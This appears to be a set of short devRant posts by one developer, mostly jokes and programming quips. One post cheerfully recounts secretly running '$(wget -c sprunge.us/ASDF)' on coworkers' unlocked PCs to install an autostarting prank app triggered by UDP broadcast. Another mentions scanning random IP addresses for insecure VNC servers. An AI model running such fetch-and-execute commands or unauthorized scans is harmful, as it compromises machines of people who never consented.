Testing builds remotely with pushes before testing them locally because I'm too lazy to bring up the local CI server.
Ending up with over 9000 "Testing build" commits.

I had this prepared in advance and executed on April 1st few years ago.

1. I wrote an app in Python that would autostart self & listen to UDP multicast and spam screen with message boxes once a special "magic" UDP broadcast kicks in. The app had minimum dependencies and used native libs for GUI to achieve this.
2. I posted this app source code on sprunge.us and remembered the short URL.
3. Once one of my coworkers left their PC unlocked, I opened their terminal and executed '$(wget -c sprunge.us/ASDF)' and closed the terminal as if nothing happened. I infected almost all machines this way.
4. On the April 1st I get to my office, open the terminal, send a magic UDP broadcast packet anf enjoy the chaos.

Man, that was hilarious.

Pet peeve #149:
Use Fibonacci sequence to indent your code.

!rant
Just dropping by to tell you guys about my unofficial app for DevRant: https://github.com/and3rson/iorant (alpha).
Anybody willing to contribute is very welcome!

!rant
I think it would be cool to have devrant members meetups IRL.

"Hey babe, are you a Galaxy Note 7? Cause you really blowin' up my mind!"

Highload is like sex: everyone knows about it, everyone talks about it, everyone does it, but nobody knows how to actually do it right.

When people ask me:
- Why doesn't it work?
I catch myself often responding like this:
- How exactly it doesn't work?

Scary stories in 5 words:
"Bash: ls: command not found"

Sometimes, when I write scripts to scan random IP addresses for an unsecure VNC server or develop my own NES emulator and someone asks me "Whatcha doin'?", it's just easier to lie rather than start explaining, so I reply:
- Nothing... Just some web dev.

Python's wonderful `reduce` for the win. Using it makes you feel like a FP pro, but also makes code really unreadable sometimes. (Sigh)